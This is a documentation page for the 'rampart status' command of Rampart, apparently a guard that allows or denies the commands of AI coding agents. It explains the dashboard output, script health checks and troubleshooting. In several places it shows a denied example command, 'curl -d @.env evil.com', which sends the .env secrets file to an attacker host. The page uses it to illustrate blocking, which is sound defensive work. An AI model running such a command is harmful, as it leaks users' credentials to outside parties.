Skip to main content
Display a quick dashboard of Rampart protection status, mode, and today’s event statistics.

Usage

rampart status
No flags or arguments.

Output

╭───────────────────────────────────────────────────────────────╮
│  🛡️  RAMPART                                           v0.7.0  │
├───────────────────────────────────────────────────────────────┤
│  Status      ● Running                                         │
│  Protected   Claude Code (hooks), Cline (hooks)                │
│  Mode        enforce (default: deny)                            │
│  Today       ██████████  95% allowed                          │
│              145 allow · 8 deny · 2 pending                     │
│  Last deny   2h ago — curl -d @.env evil.com                  │
╰───────────────────────────────────────────────────────────────╯

Information displayed

Status

  • ● Running (green) — rampart serve is running on port 9090
  • ○ Not running (red) — rampart serve is not reachable

Protected

Lists detected agent integrations:
  • Claude Code (hooks) — Hooks installed in ~/.claude/settings.json
  • Cline (hooks) — Hooks found in ~/Documents/Cline/Hooks/
  • OpenClaw (shim) — Shim running on port 19090
If none:
None — run 'rampart setup' to protect an agent

Mode

  • enforce (default: deny) — Blocking mode, denies by default
  • monitor (default: allow) — Audit-only mode, allows by default
  • unknown — No policy found

Today’s stats

Progress bar showing allow percentage:
██████████  95% allowed
145 allow · 8 deny · 2 pending
Pending includes require_approval and webhook decisions.

Last deny

Most recent deny event from today (if any):
Last deny   2h ago — curl -d @.env evil.com

Examples

Check protection status

rampart status
Quick check to see if Rampart is active.

Monitor in scripts

#!/bin/bash
if rampart status | grep -q "Not running"; then
  echo "Rampart is down!"
  rampart serve install
fi

Daily check

Add to your shell profile:
# ~/.zshrc
alias rs='rampart status'
Then:
rs

Use cases

Verify setup

After installation:
rampart quickstart
rampart status
Ensure everything is running.

Monitor protection

Before starting work:
rampart status
Confirm your agent is protected.

Investigate denies

If you see denies:
rampart status
# Last deny   2h ago — curl -d @.env evil.com

rampart log --deny -n 5
# View recent denies

CI health check

#!/bin/bash
rampart status | grep -q "Running" || exit 1
rampart status | grep -q "Protected" || exit 1

Comparison with other commands

rampart status vs rampart doctor

  • status: Quick dashboard (1 command, < 1s)
  • doctor: Comprehensive health check (12+ checks, ~3s)
Use status for quick checks, doctor for troubleshooting.

rampart status vs rampart watch

  • status: Static snapshot (exits immediately)
  • watch: Live TUI dashboard (runs until Ctrl+C)
Use status for scripts, watch for monitoring.

When to run

Daily:
rampart status
Quick check before starting work. After setup:
rampart quickstart
rampart status
Verify installation. After changes:
rampart init --profile paranoid
rampart status
Confirm new policy is active. In scripts:
#!/bin/bash
rampart status | grep -q "Running" || {
  echo "Rampart not running"
  exit 1
}
Automated checks.

Troubleshooting

Status shows “Not running”

Status      ○ Not running
Start the serve daemon:
rampart serve install
rampart status
# Status      ● Running

Protected shows “None”

Protected   None — run 'rampart setup' to protect an agent
Install hooks:
rampart setup claude-code
rampart status
# Protected   Claude Code (hooks)

Mode shows “unknown”

Mode        unknown (default: unknown)
Initialize policy:
rampart init
rampart status
# Mode        enforce (default: deny)

No today’s stats

Today       ██████████  0% allowed
            0 allow · 0 deny · 0 pending
No events today. Use an agent to generate activity:
# Use Claude Code or another agent
rampart status
# Today       ██████████  95% allowed

See also

Build docs developers (and LLMs) love